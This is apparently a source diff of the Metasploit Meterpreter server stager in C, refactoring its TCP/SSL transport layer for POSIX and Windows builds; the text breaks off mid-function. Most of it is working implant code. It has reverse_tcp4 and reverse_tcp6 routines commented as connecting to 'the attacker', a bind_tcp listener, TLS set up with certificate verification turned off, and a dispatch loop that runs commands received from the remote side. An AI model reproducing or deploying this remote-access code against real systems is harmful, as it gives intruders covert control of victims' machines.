"https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00";
"https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00";
char *global_meterpreter_ua =
"METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char *global_meterpreter_proxy =
@ -22,12 +25,147 @@ int global_comm_timeout = 0xaf79257f;
#define SetHandleInformation(a, b, c)
const unsigned int hAppInstance = 0x504b5320; // 'PKS '
/*! @brief This thread is the main server thread. */
static THREAD *serverThread = NULL;
/*! @brief An array of locks for use by OpenSSL. */
static LOCK **ssl_locks = NULL;
/*!
* @brief Connects to a provided host/port (IPv4), downloads a payload and executes it.
* @param host String containing the name or IP of the host to connect to.
* @param port Port number to connect to.
* @param retryAttempts The number of times to attempt to retry.
*/
DWORD reverse_tcp4(const char* host, u_short port, short retryAttempts, SOCKET* socketBuffer)
{
*socketBuffer = 0;
// prepare to connect to the attacker
SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct hostent* target = gethostbyname(host);
char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list);
struct sockaddr_in sock = { 0 };
sock.sin_addr.s_addr = inet_addr(targetIp);
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
// try connect to the attacker at least once
while (connect(socketHandle, (struct sockaddr*)&sock, sizeof(sock)) == SOCKET_ERROR)
{
// retry with a Sleep if it fails, or exit the process on failure
if (retryAttempts-- <= 0)
{
return WSAGetLastError();
}
sleep(RETRY_TIMEOUT_MS);
}
*socketBuffer = socketHandle;
return ERROR_SUCCESS;
}
/*!
* @brief Connects to a provided host/port (IPv6), downloads a payload and executes it.
* @param host String containing the name or IP of the host to connect to.
* @param service The target service/port.
* @param scopeId IPv6 scope ID.
* @param retryAttempts The number of times to attempt to retry.
*/
DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, short retryAttempts, SOCKET* socketBuffer)
{
*socketBuffer = 0;
struct addrinfo hints = { 0 };
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
struct addrinfo* addresses;
if (getaddrinfo(host, service, &hints, &addresses) != 0)
{
return WSAGetLastError();
}
// prepare to connect to the attacker
SOCKET socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if (socketHandle == INVALID_SOCKET)
{
dprintf("[STAGELESS IPV6] failed to connect to attacker");
return WSAGetLastError();
}
dprintf("[STAGELESS IPV6] Socket successfully created");
while (retryAttempts-- > 0)
{
struct addrinfo* address = NULL;
dprintf("[STAGELESS IPV6] Attempt %u", retryAttempts + 1);
for (address = addresses; address != NULL; address = address->ai_next)
{
((struct sockaddr_in6*)address->ai_addr)->sin6_scope_id = scopeId;
if (connect(socketHandle, address->ai_addr, (int)address->ai_addrlen) != SOCKET_ERROR)
{
dprintf("[STAGELESS IPV6] Socket successfully connected");
*socketBuffer = socketHandle;
freeaddrinfo(addresses);
return ERROR_SUCCESS;
}
}
sleep(RETRY_TIMEOUT_MS);
}
closesocket(socketHandle);
freeaddrinfo(addresses);
return WSAGetLastError();
}
/*!
* @brief Listens on a port for an incoming payload request.
* @param port Port number to listen on.
*/
DWORD bind_tcp(u_short port, SOCKET* socketBuffer)
{
*socketBuffer = 0;
// prepare a connection listener for the attacker to connect to
SOCKET listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in sock = { 0 };
sock.sin_addr.s_addr = inet_addr("0.0.0.0");
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
if (bind(listenSocket, (struct sockaddr*)&sock, sizeof(sock)) == SOCKET_ERROR)
{
return WSAGetLastError();
}
if (listen(listenSocket, 1) == SOCKET_ERROR)
{
return WSAGetLastError();
}
// Setup, ready to go, now wait for the connection.
SOCKET acceptSocket = accept(listenSocket, NULL, NULL);
// don't bother listening for other connections
closesocket(listenSocket);
if (acceptSocket == INVALID_SOCKET)
{
return WSAGetLastError();
}
*socketBuffer = acceptSocket;
return ERROR_SUCCESS;
}
/*!
* @brief A callback function used by OpenSSL to leverage native system locks.
* @param mode The lock mode to set.
@ -44,6 +182,11 @@ static void server_locking_callback(int mode, int type, const char *file, int li
}
}
SOCKET tcp_transport_get_socket(Transport* transport)
{
return ((TcpTransportContext*)transport->ctx)->fd;
}
/*!
* @brief A callback function used by OpenSSL to get the current threads id.
* @returns The current thread ID.
@ -89,27 +232,26 @@ static void server_dynamiclock_destroy(struct CRYPTO_dynlock_value *l, const cha
*/
static void server_socket_flush(Remote * remote)
{
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
fd_set fdread;
DWORD ret;
SOCKET fd;
char buff[4096];
lock_acquire(remote->lock);
fd = remote_get_fd(remote);
while (1) {
struct timeval tv;
LONG data;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
FD_SET(ctx->fd, &fdread);
// Wait for up to one second for any errant socket data to appear
tv.tv_sec = 1;
tv.tv_usec = 0;
data = select((int)fd + 1, &fdread, NULL, NULL, &tv);
data = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv);
if (data == 0)
break;
ret = recv(fd, buff, sizeof(buff), 0);
ret = recv(ctx->fd, buff, sizeof(buff), 0);
dprintf("[SERVER] Flushed %d bytes from the buffer", ret);
// The socket closed while we waited
@ -125,17 +267,17 @@ static void server_socket_flush(Remote * remote)
*/
static LONG server_socket_poll(Remote * remote, long timeout)
{
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
struct timeval tv;
LONG result;
fd_set fdread;
SOCKET fd;
lock_acquire(remote->lock);
fd = remote_get_fd(remote);
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
FD_SET(ctx->fd, &fdread);
tv.tv_sec = 0;
tv.tv_usec = timeout;
result = select((int)fd + 1, &fdread, NULL, NULL, &tv);
result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv);
if (result == -1 &&
(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK))
@ -162,6 +304,7 @@ static int server_initialize_ssl(Remote * remote)
// Setup the required OpenSSL multi-threaded enviroment...
ssl_locks = malloc(CRYPTO_num_locks() * sizeof(LOCK *));
if (ssl_locks == NULL) {
dprintf("[SSL INIT] failed to allocate locks (%d locks)", CRYPTO_num_locks());
lock_release(remote->lock);
return -1;
}
@ -182,15 +325,19 @@ static int server_initialize_ssl(Remote * remote)
/*
* Bring down the OpenSSL subsystem
*/
void server_destroy_ssl(Remote * remote)
BOOL server_destroy_ssl(Remote * remote)
{
TcpTransportContext* ctx = NULL;
int i;
if (remote) {
dprintf("[SERVER] Destroying SSL");
lock_acquire(remote->lock);
SSL_free(remote->ssl);
SSL_CTX_free(remote->ctx);
if (remote->transport && remote->transport->ctx) {
ctx = (TcpTransportContext*)remote->transport->ctx;
SSL_free(ctx->ssl);
SSL_CTX_free(ctx->ctx);
}
CRYPTO_set_locking_callback(NULL);
CRYPTO_set_id_callback(NULL);
CRYPTO_set_dynlock_create_callback(NULL);
@ -203,6 +350,8 @@ void server_destroy_ssl(Remote * remote)
free(ssl_locks);
lock_release(remote->lock);
}
return TRUE;
}
/*
@ -210,27 +359,26 @@ void server_destroy_ssl(Remote * remote)
*/
static BOOL server_negotiate_ssl(Remote * remote)
{
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
BOOL success = TRUE;
SOCKET fd = 0;
DWORD ret = 0;
DWORD res = 0;
lock_acquire(remote->lock);
fd = remote_get_fd(remote);
remote->meth = TLSv1_client_method();
remote->ctx = SSL_CTX_new(remote->meth);
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
remote->ssl = SSL_new(remote->ctx);
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
if (SSL_set_fd(remote->ssl, (int)remote->fd) == 0) {
ctx->meth = TLSv1_client_method();
ctx->ctx = SSL_CTX_new(ctx->meth);
SSL_CTX_set_mode(ctx->ctx, SSL_MODE_AUTO_RETRY);
ctx->ssl = SSL_new(ctx->ctx);
SSL_set_verify(ctx->ssl, SSL_VERIFY_NONE, NULL);
if (SSL_set_fd(ctx->ssl, ctx->fd) == 0) {
dprintf("[SERVER] set fd failed");
success = FALSE;
goto out;
}
do {
if ((ret = SSL_connect(remote->ssl)) != 1) {
res = SSL_get_error(remote->ssl, ret);
if ((ret = SSL_connect(ctx->ssl)) != 1) {
res = SSL_get_error(ctx->ssl, ret);
dprintf("[SERVER] connect failed %d\n", res);
if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE) {
@ -246,9 +394,9 @@ static BOOL server_negotiate_ssl(Remote * remote)
goto out;
dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
if ((ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0) {
if ((ret = SSL_write(ctx->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0) {
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret,
SSL_get_error(remote->ssl, ret));
SSL_get_error(ctx->ssl, ret));
}
out:
@ -264,7 +412,7 @@ out:
* @param remote Pointer to the remote endpoint for this server connection.
* @returns Indication of success or failure.
*/
static DWORD server_dispatch(Remote * remote)
static BOOL server_dispatch(Remote * remote, THREAD* dispatchThread)
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
@ -278,13 +426,13 @@ static DWORD server_dispatch(Remote * remote)
return result;
}
while (running) {
if (event_poll(serverThread->sigterm, 0)) {
if (event_poll(dispatchThread->sigterm, 0)) {
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
}
result = server_socket_poll(remote, 100);
if (result > 0) {
result = packet_receive(remote, &packet);
result = remote->transport->packet_receive(remote, &packet);
if (result != ERROR_SUCCESS) {
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
break;
@ -309,11 +457,134 @@ static DWORD server_dispatch(Remote * remote)
return result;
}
BOOL configure_tcp_connection(Remote* remote, SOCKET socket)
{
DWORD result = ERROR_SUCCESS;
size_t charsConverted;
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
char* asciiUrl = remote->transport->url;
if (strncmp(asciiUrl, "tcp", 3) == 0)
{
const int iRetryAttempts = 30;
char* pHost = strstr(asciiUrl, "//") + 2;
char* pPort = strrchr(pHost, ':') + 1;
// check if we're using IPv6
if (asciiUrl[3] == '6')
{
char* pScopeId = strrchr(pHost, '?') + 1;
*(pScopeId - 1) = '\0';
*(pPort - 1) = '\0';
dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
result = reverse_tcp6(pHost, pPort, atol(pScopeId), iRetryAttempts, &ctx->fd);
}
else
{
u_short usPort = (u_short)atoi(pPort);
// if no host is specified, then we can assume that this is a bind payload, otherwise
// we'll assume that the payload is a reverse_tcp one and the given host is valid
if (*pHost == ':')
{
dprintf("[STAGELESS] IPv4 bind port %s", pPort);
result = bind_tcp(usPort, &ctx->fd);
}
else
{
*(pPort - 1) = '\0';
dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
result = reverse_tcp4(pHost, usPort, iRetryAttempts, &ctx->fd);
}
}
}
else
{
// assume that we have been given a valid socket given that there's no stageless information
ctx->fd = socket;
}
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush(remote);
dprintf("[SERVER] Initializing SSL...");
if (server_initialize_ssl(remote))
{
dprintf("[SERVER] SSL failed to initialize");
return FALSE;
}
dprintf("[SERVER] Negotiating SSL...");
if (!server_negotiate_ssl(remote))
{
dprintf("[SERVER] Failed to negotiate SSL");
return FALSE;
}
return TRUE;
}
void transport_destroy_tcp(Remote* remote)
{
if (remote && remote->transport)
{
dprintf("[TRANS TCP] Destroying tcp transport for url %S", remote->transport->url);
SAFE_FREE(remote->transport->url);
SAFE_FREE(remote->transport);
}
}
Transport* transport_create_tcp(char* url)
{
Transport* transport = (Transport*)malloc(sizeof(Transport));
TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext));
dprintf("[TRANS TCP] Creating tcp transport for url %s", url);
memset(transport, 0, sizeof(Transport));
memset(ctx, 0, sizeof(TcpTransportContext));
transport->url = strdup(url);
transport->packet_receive = packet_receive_via_ssl;
transport->packet_transmit = packet_transmit_via_ssl;
transport->transport_init = configure_tcp_connection;
transport->transport_deinit = server_destroy_ssl;
transport->transport_destroy = transport_destroy_tcp;
transport->server_dispatch = server_dispatch;
transport->get_socket = tcp_transport_get_socket;
transport->ctx = ctx;
transport->type = METERPRETER_TRANSPORT_SSL;
return transport;
}
Transport* transport_create(char* transport, char* url)
{
Transport* t = NULL;
dprintf("[TRANSPORT] Type = %s", transport);
dprintf("[TRANSPORT] URL = %s", url);
if (strcmp(transport, "TRANSPORT_SSL") == 0)
{
t = transport_create_tcp(url);
}
else
{
dprintf("[TRANSPORT] not supported");
}
return t;
}
/*
* Setup and run the server. This is called from Init via the loader.
*/
DWORD server_setup(SOCKET fd)
{
THREAD * dispatchThread = NULL;
Remote *remote = NULL;
char cStationName[256] = { 0 };
char cDesktopName[256] = { 0 };
@ -324,83 +595,55 @@ DWORD server_setup(SOCKET fd)
srand(time(NULL));
dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);
printf("[SERVER] module loaded at 0x%08X", hAppInstance);
// Open a THREAD item for the servers main thread, we use this to manage migration later.
serverThread = thread_open();
dispatchThread = thread_open();
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X",
serverThread->handle, serverThread->id, serverThread->sigterm);
if (!(remote = remote_allocate(fd))) {
dispatchThread->handle, dispatchThread->id, dispatchThread->sigterm);
if (!(remote = remote_allocate())) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
goto out;
}
remote->url = global_meterpreter_url;
if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_SSL") == 0) {
remote->transport = METERPRETER_TRANSPORT_SSL;
dprintf("[SERVER] Using SSL transport...");
} else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTPS") == 0) {
remote->transport = METERPRETER_TRANSPORT_HTTPS;
dprintf("[SERVER] Using HTTPS transport...");
} else if (strcmp(global_meterpreter_transport + 12, "TRANSPORT_HTTP") == 0) {
remote->transport = METERPRETER_TRANSPORT_HTTP;
dprintf("[SERVER] Using HTTP transport...");
}
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE) fd, HANDLE_FLAG_INHERIT, 0);
dprintf("[SERVER] Initializing tokens...");
// Store our thread handle
remote->hServerThread = serverThread->handle;
remote->hServerThread = dispatchThread->handle;
// Process our default SSL-over-TCP transport
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush(remote);
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
dprintf("[SERVER] Initializing SSL...");
if (server_initialize_ssl(remote))
goto out;
// allocate the "next transport" information
dprintf("[SERVER] creating transport");
remote->nextTransport = transport_create(global_meterpreter_transport + 12, global_meterpreter_url);
dprintf("[SERVER] Negotiating SSL...");
if (!server_negotiate_ssl(remote))
goto out;
while (remote->nextTransport) {
remote->transport = remote->nextTransport;
remote->nextTransport = NULL;
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
dprintf("[SERVER] initialising transport 0x%p", remote->transport->transport_init);
if (remote->transport->transport_init && !remote->transport->transport_init(remote, fd)) {
break;
}
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...",
remote->transport);
server_dispatch(remote);
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
remote->transport->server_dispatch(remote, dispatchThread);
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(remote);
if (remote->transport->transport_deinit) {
remote->transport->transport_deinit(remote);
}
remote->transport->transport_destroy(remote);
}
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(remote);
remote_deallocate(remote);
out:
if (remote->transport == METERPRETER_TRANSPORT_HTTP
|| remote->transport == METERPRETER_TRANSPORT_HTTPS) {
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...",
remote->transport);
// XXX: Handle non-windows HTTP transport
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(remote);
}
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
dprintf("[SERVER] Closing down SSL...");
server_destroy_ssl(remote);
}
if (remote)
remote_deallocate(remote);
res = GetLastError();
dprintf("[SERVER] Finished.");
return res;
return res == ERROR_SUCCESS;
}

View File

@ -15,13 +15,16 @@
extern IN6_ADDR in6addr_any;
#endif
#ifdef USE_WINHTTP
/*!
* @file server_setup.c
*/
#include "metsrv.h"
#include "../../common/common.h"
#include <ws2tcpip.h>
#include "win/server_setup_winhttp.h"
#define server_dispatch_http server_dispatch_http_winhttp
#else
#include "win/server_setup_wininet.h"
#define server_dispatch_http server_dispatch_http_wininet
#endif
BOOL configure_tcp_connection(Remote* remote, SOCKET socket);
extern Command* extensionCommands;
@ -57,9 +60,6 @@ int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
#define PREPEND_INFO "### Info : "
#define PREPEND_WARN "### Warn : "
/*! @brief This thread is the main server thread. */
static THREAD * serverThread = NULL;
/*! @brief An array of locks for use by OpenSSL. */
static LOCK ** ssl_locks = NULL;
@ -187,6 +187,7 @@ DWORD bind_tcp(u_short port, SOCKET* socketBuffer)
return WSAGetLastError();
}
// prepare a connection listener for the attacker to connect to, and we
// attempt to bind to both ipv6 and ipv4 by default, and fallback to ipv4
// only if the process fails.
@ -259,49 +260,6 @@ DWORD bind_tcp(u_short port, SOCKET* socketBuffer)
return ERROR_SUCCESS;
}
DWORD establish_tcp_connection(wchar_t* url, SOCKET* socketBuffer)
{
dprintf("[STAGELESS] Url: %S", url);
size_t charsConverted;
char asciiUrl[512];
wcstombs_s(&charsConverted, asciiUrl, sizeof(asciiUrl), url, sizeof(asciiUrl)-1);
if (strncmp(asciiUrl, "tcp", 3) == 0)
{
const int iRetryAttempts = 30;
char* pHost = strstr(asciiUrl, "//") + 2;
char* pPort = strrchr(pHost, ':') + 1;
// check if we're using IPv6
if (asciiUrl[3] == '6')
{
dprintf("[STAGELESS] IPv6");
char* pScopeId = strrchr(pHost, '?') + 1;
*(pScopeId - 1) = '\0';
*(pPort - 1) = '\0';
dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
return reverse_tcp6(pHost, pPort, atol(pScopeId), iRetryAttempts, socketBuffer);
}
dprintf("[STAGELESS] IPv4");
u_short usPort = (u_short)atoi(pPort);
// if no host is specified, then we can assume that this is a bind payload, otherwise
// we'll assume that the payload is a reverse_tcp one and the given host is valid
// TODO: check to make sure this is a valid thing to do with IPv6
if (*pHost == ':')
{
dprintf("[STAGELESS] IPv4 bind port %s", pPort);
return bind_tcp(usPort, socketBuffer);
}
*(pPort - 1) = '\0';
dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
return reverse_tcp4(pHost, usPort, iRetryAttempts, socketBuffer);
}
return ERROR_SUCCESS;
}
/*!
* @brief A callback function used by OpenSSL to leverage native system locks.
* @param mode The lock mode to set.
@ -378,36 +336,34 @@ static void server_dynamiclock_destroy(struct CRYPTO_dynlock_value* l, const cha
* @brief Flush all pending data on the connected socket before doing SSL.
* @param remote Pointer to the remote instance.
*/
static VOID server_socket_flush(Remote * remote)
static VOID server_socket_flush(Remote* remote)
{
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
fd_set fdread;
DWORD ret;
SOCKET fd;
char buff[4096];
lock_acquire(remote->lock);
fd = remote_get_fd(remote);
while (1)
{
struct timeval tv;
LONG data;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
FD_SET(ctx->fd, &fdread);
// Wait for up to one second for any errant socket data to appear
tv.tv_sec = 1;
tv.tv_usec = 0;
data = select((int)fd + 1, &fdread, NULL, NULL, &tv);
data = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv);
if (data == 0)
{
break;
}
ret = recv(fd, buff, sizeof(buff), 0);
ret = recv(ctx->fd, buff, sizeof(buff), 0);
dprintf("[SERVER] Flushed %d bytes from the buffer", ret);
// The socket closed while we waited
@ -428,22 +384,20 @@ static VOID server_socket_flush(Remote * remote)
*/
static LONG server_socket_poll(Remote * remote, long timeout)
{
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
struct timeval tv;
LONG result;
fd_set fdread;
SOCKET fd;
lock_acquire(remote->lock);
fd = remote_get_fd(remote);
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
FD_SET(ctx->fd, &fdread);
tv.tv_sec = 0;
tv.tv_usec = timeout;
result = select((int)fd + 1, &fdread, NULL, NULL, &tv);
result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv);
lock_release(remote->lock);
@ -494,22 +448,25 @@ static BOOL server_initialize_ssl(Remote * remote)
* @return Indication of success or failure.
* @param remote Pointer to the remote instance.
*/
static BOOL server_destroy_ssl(Remote * remote)
static BOOL server_destroy_ssl(Remote* remote)
{
TcpTransportContext* ctx = NULL;
int i = 0;
if (remote == NULL)
if (remote == NULL || remote->transport == NULL || remote->transport->ctx == NULL)
{
return FALSE;
}
ctx = (TcpTransportContext*)remote->transport->ctx;
dprintf("[SERVER] Destroying SSL");
lock_acquire(remote->lock);
SSL_free(remote->ssl);
SSL_free(ctx->ssl);
SSL_CTX_free(remote->ctx);
SSL_CTX_free(ctx->ctx);
CRYPTO_set_locking_callback(NULL);
CRYPTO_set_id_callback(NULL);
@ -529,8 +486,6 @@ static BOOL server_destroy_ssl(Remote * remote)
return TRUE;
}
/*
*/
/*!
* @brief Negotiate SSL on the socket.
* @return Indication of success or failure.
@ -538,6 +493,7 @@ static BOOL server_destroy_ssl(Remote * remote)
*/
static BOOL server_negotiate_ssl(Remote *remote)
{
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
BOOL success = TRUE;
SOCKET fd = 0;
DWORD ret = 0;
@ -547,17 +503,15 @@ static BOOL server_negotiate_ssl(Remote *remote)
do
{
fd = remote_get_fd(remote);
ctx->meth = TLSv1_client_method();
remote->meth = TLSv1_client_method();
ctx->ctx = SSL_CTX_new(ctx->meth);
SSL_CTX_set_mode(ctx->ctx, SSL_MODE_AUTO_RETRY);
remote->ctx = SSL_CTX_new(remote->meth);
SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);
ctx->ssl = SSL_new(ctx->ctx);
SSL_set_verify(ctx->ssl, SSL_VERIFY_NONE, NULL);
remote->ssl = SSL_new(remote->ctx);
SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
if (SSL_set_fd(remote->ssl, (int)remote->fd) == 0)
if (SSL_set_fd(ctx->ssl, (int)ctx->fd) == 0)
{
dprintf("[SERVER] set fd failed");
success = FALSE;
@ -566,9 +520,9 @@ static BOOL server_negotiate_ssl(Remote *remote)
do
{
if ((ret = SSL_connect(remote->ssl)) != 1)
if ((ret = SSL_connect(ctx->ssl)) != 1)
{
res = SSL_get_error(remote->ssl, ret);
res = SSL_get_error(ctx->ssl, ret);
dprintf("[SERVER] connect failed %d\n", res);
if (res == SSL_ERROR_WANT_READ || res == SSL_ERROR_WANT_WRITE)
@ -586,9 +540,9 @@ static BOOL server_negotiate_ssl(Remote *remote)
dprintf("[SERVER] Sending a HTTP GET request to the remote side...");
if ((ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0)
if ((ret = SSL_write(ctx->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0)
{
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret));
dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(ctx->ssl, ret));
}
} while (0);
@ -610,7 +564,7 @@ static BOOL server_negotiate_ssl(Remote *remote)
* @param remote Pointer to the remote endpoint for this server connection.
* @returns Indication of success or failure.
*/
static DWORD server_dispatch(Remote * remote)
static DWORD server_dispatch(Remote* remote, THREAD* dispatchThread)
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
@ -628,7 +582,7 @@ static DWORD server_dispatch(Remote * remote)
while (running)
{
if (event_poll(serverThread->sigterm, 0))
if (event_poll(dispatchThread->sigterm, 0))
{
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
@ -637,7 +591,7 @@ static DWORD server_dispatch(Remote * remote)
result = server_socket_poll(remote, 100);
if (result > 0)
{
result = packet_receive(remote, &packet);
result = remote->transport->packet_receive(remote, &packet);
if (result != ERROR_SUCCESS)
{
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
@ -726,11 +680,159 @@ VOID load_stageless_extensions(Remote* pRemote, ULONG_PTR fd)
dprintf("[SERVER] All stageless extensions loaded");
}
SOCKET tcp_transport_get_socket(Transport* transport)
{
return ((TcpTransportContext*)transport->ctx)->fd;
}
void transport_destroy_tcp(Remote* remote)
{
if (remote && remote->transport)
{
dprintf("[TRANS TCP] Destroying tcp transport for url %S", remote->transport->url);
SAFE_FREE(remote->transport->url);
SAFE_FREE(remote->transport);
}
}
Transport* transport_create_tcp(wchar_t* url)
{
Transport* transport = (Transport*)malloc(sizeof(Transport));
TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext));
dprintf("[TRANS TCP] Creating tcp transport for url %S", url);
memset(transport, 0, sizeof(Transport));
memset(ctx, 0, sizeof(TcpTransportContext));
transport->url = _wcsdup(url);
transport->packet_receive = packet_receive_via_ssl;
transport->packet_transmit = packet_transmit_via_ssl;
transport->transport_init = configure_tcp_connection;
transport->transport_deinit = server_destroy_ssl;
transport->transport_destroy = transport_destroy_tcp;
transport->server_dispatch = server_dispatch;
transport->get_socket = tcp_transport_get_socket;
transport->ctx = ctx;
transport->type = METERPRETER_TRANSPORT_SSL;
return transport;
}
void transport_destroy_http(Remote* remote)
{
if (remote && remote->transport)
{
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
dprintf("[TRANS HTTP] Destroying http transport for url %S", remote->transport->url);
SAFE_FREE(remote->transport->url);
SAFE_FREE(ctx->cert_hash);
SAFE_FREE(ctx->proxy);
SAFE_FREE(ctx->proxy_pass);
SAFE_FREE(ctx->proxy_user);
SAFE_FREE(ctx->ua);
SAFE_FREE(ctx->uri);
SAFE_FREE(remote->transport);
}
}
Transport* transport_create_http(BOOL ssl, wchar_t* url, wchar_t* ua, wchar_t* proxy,
wchar_t* proxyUser, wchar_t* proxyPass, PBYTE certHash, int expirationTime, int commsTimeout)
{
Transport* transport = (Transport*)malloc(sizeof(Transport));
